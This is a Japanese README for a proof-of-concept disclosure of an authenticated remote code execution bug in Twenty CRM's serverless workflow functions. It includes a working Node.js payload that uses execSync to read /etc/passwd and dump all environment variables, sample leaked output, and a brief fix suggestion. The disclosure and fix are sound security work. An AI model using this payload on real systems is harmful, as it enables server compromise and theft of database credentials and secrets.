
Twenty CRMにおける認証済みリモートコード実行の概念実証。サンドボックス化されていないサーバーレスワークフロー関数を介して、任意のNode.jsコマンド実行と環境変数の開示を可能にします。
製品: Twenty CRM
脆弱性: サーバーレスワークフロー関数を介したリモートコード実行(RCE)
深刻度: 重大
影響を受けるコンポーネント: ワークフロー自動化(コード - サーバーレス関数)
テスト済みバージョン: v1.15.0
このリポジトリは、Twenty CRM ワークフローエンジンにおける重大な脆弱性を文書化したものです。「コード - サーバーレス関数」コンポーネントは、認証済みユーザーが任意の Node.js コードを実行することを許可します。サンドボックス化が欠如しているため、child_process モジュールをインポートし、ホストサーバー上でシステムレベルのコマンドを実行することが可能です。
このアプリケーションは、ユーザーがコード実行ステップを含むカスタム自動化ワークフローを作成することを許可します。これはデータ操作を目的としていますが、実行環境は Node.js 組み込みモジュールや基盤となるオペレーティングシステムへのアクセスを適切に制限していません。
攻撃者は child_process ライブラリの execSync を利用して、以下を実行できます:
cat、ls、whoami)。/etc/passwdprocess.env)のダンプ。データベース認証情報、API キー、アプリケーションシークレットが漏洩します。import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
try {
// 1. リモートコマンド実行:システムユーザーの読み取り
const output = execSync('cat /etc/passwd').toString();
// 2. 情報漏洩:すべての環境変数(シークレット)のダンプ
const secrets = JSON.stringify(process.env);
return {
data: output,
secrets: secrets
};
} catch (e: any) {
return { error: e.message };
}
};
コード概要
ワークフローは正常に実行され、システムデータを返します。
システムファイルへのアクセス(/etc/passwd):
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
postgres:x:70:70:PostgreSQL user:/var/lib/postgresql:/bin/sh
...
漏洩した環境変数:
process.env のダンプにより、重要な設定情報が明らかになりました:
PG_DATABASE_URL(データベース認証情報)APP_SECRET(署名キー)REDIS_URLAWS_ACCESS_KEY(設定されている場合)この脆弱性により、(ワークフローを作成する権限を持つ)認証済みユーザーがシステム全体の完全な侵害を達成できます。
この問題を修正するには、「サーバーレス関数」機能に適切な分離が必要です。
child_process、fs、net などの機密性の高い Node.js モジュールへのアクセスを無効にします。